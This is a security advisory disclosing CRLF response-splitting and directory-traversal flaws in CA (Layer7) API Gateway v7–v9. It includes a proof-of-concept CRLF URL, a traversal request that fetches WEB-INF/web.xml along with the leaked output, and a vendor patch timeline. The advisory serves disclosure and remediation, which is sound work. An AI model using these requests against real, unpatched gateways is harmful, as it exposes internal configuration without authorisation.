Computer Associates (Layer7) API Gateway 7 / 8 / 9 CRLF Response Splitting / Directory Traversal

`https://www.osisecurity.com.au/computer-associates-api-gateway-crlf-response-splitting-directory-traversal-vulnerabilities.html  
  
Date:  
04-Apr-2017  
  
Product:  
Computer Associates (Layer7) API Gateway  
  
Versions affected:  
v7, v8, v9  
  
Vulnerabilities:  
  
1) CRLF Response Splitting  
  
https://[target]:8443/test%0d%0a<h1>string?wsdl  
  
Parameters uri='/test  
<h1>string' did not resolve to any service.  
  
https://www.ca.com/us/services-support/ca-support/ca-support-online/product-content/recommended-reading/security-notices/ca20160405-01-security-notice-for-ca-api-gateway.html  
  
2) Directory traversal  
  
GET /ssg/../WEB-INF/web.xml HTTP/1.1  
Host: [target]:8443  
  
HTTP/1.1 200 OK  
Server: Apache-Coyote/1.1  
Accept-Ranges: bytes  
ETag: W/"18991--1"  
Last-Modified: Wed, 25 Nov 2015 06:57:05 GMT  
Content-Type: text/xml  
ntCoent-Length: 18991  
Date: Wed, 25 Nov 2015 06:57:04 GMT  
Cache-Control: private  
Content-Length: 18991  
  
<?xml version="1.0" encoding="ISO-8859-1"?>  
<!-- The ssg (aka UneasyRooster) web application DD -->  
<web-app  
xmlns="http://java.sun.com/xml/ns/javaee"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee  
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"  
version="3.0">  
<display-name>Layer7 Secure Span Gateway</display-name>  
  
<!-- Spring configuration file  
used by the org.springframework.web.context.ContextLoaderListener  
-->  
[snip]  
  
Credit:  
Discovered by Patrick Webster  
  
Disclosure timeline:  
25-Nov-2015 - Discovered during audit.  
27-Nov-2015 - Reported to vendor. Vendor response.  
19-Mar-2016 - Vendor patched CRLF injection with release 7.1.04, 8.3.01, 8.4.01  
09-Aug-2016 - Vendor patched directory traversal with release 7.1.04 ,  
8.3.01, 8.4.01, and 9.1  
04-Apr-2017 - Public disclosure.  
  
About OSI Security:  
  
OSI Security is an independent network and computer security auditing  
and consulting company based in Sydney, Australia. We provide internal  
and external penetration testing, vulnerability auditing and wireless  
site audits, vendor product assessments, secure network design,  
forensics and risk mitigation services.  
  
We can be found at http://www.osisecurity.com.au/  
`